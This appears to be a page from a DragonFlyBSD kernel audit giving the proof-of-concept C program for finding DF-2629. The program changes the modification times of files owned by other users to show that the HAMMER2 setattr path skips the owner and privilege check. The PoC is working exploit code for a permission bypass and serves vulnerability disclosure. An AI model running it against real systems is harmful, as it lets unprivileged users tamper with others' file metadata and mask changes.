DragonFlyBSD Kernel Audit
DF-2629 / utimes_ab.c
← back to finding ↓ download raw
/*
 * DF-2629 PoC: hammer2_vop_setattr() applies va_mtime with no
 * owner / privilege / VA_UTIMES_NULL check (hammer2_vnops.c:561-566),
 * diverging from the UFS VFS contract (ufs_vnops.c:461-470).
 *
 * utimes_ab <op> <path>
 *   op = explicit : utimensat(path, {{1000000000,123456789},{...}}, 0)
 *   op = now      : utimensat(path, NULL, 0)        (UTIME_NOW semantics)
 *
 * Prints one record: op, errno, mtime before/after.  Run as an
 * unprivileged user against files owned by others.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <sys/stat.h>
#include <sys/types.h>

#ifndef AT_FDCWD
#define AT_FDCWD -100
#endif

int
main(int argc, char **argv)
{
	struct timespec ts[2];
	struct stat st1, st2;
	int r, err;

	if (argc != 3) {
		fprintf(stderr, "usage: %s <explicit|now> <path>\n", argv[0]);
		return 64;
	}
	if (stat(argv[2], &st1) < 0) {
		printf("FS=%s OP=%s STAT_FAIL errno=%d\n", argv[2], argv[1],
		    errno);
		return 2;
	}
	errno = 0;
	if (!strcmp(argv[1], "explicit")) {
		ts[0].tv_sec = 1000000000;
		ts[0].tv_nsec = 123456789;
		ts[1] = ts[0];
		r = utimensat(AT_FDCWD, argv[2], ts, 0);
	} else if (!strcmp(argv[1], "now")) {
		r = utimensat(AT_FDCWD, argv[2], NULL, 0);
	} else {
		fprintf(stderr, "bad op\n");
		return 64;
	}
	err = errno;
	if (stat(argv[2], &st2) < 0)
		st2 = st1;
	printf("FILE=%s OP=%s uid=%d fuid=%d fmode=%04o RET=%d errno=%d(%s) "
	    "mtime %lld.%09ld -> %lld.%09ld\n",
	    argv[2], argv[1], getuid(), st1.st_uid, st1.st_mode & 07777,
	    r, r == 0 ? 0 : err, r == 0 ? "OK" : strerror(err),
	    (long long)st1.st_mtim.tv_sec, st1.st_mtim.tv_nsec,
	    (long long)st2.st_mtim.tv_sec, st2.st_mtim.tv_nsec);
	return (r == 0) ? 0 : 1;
}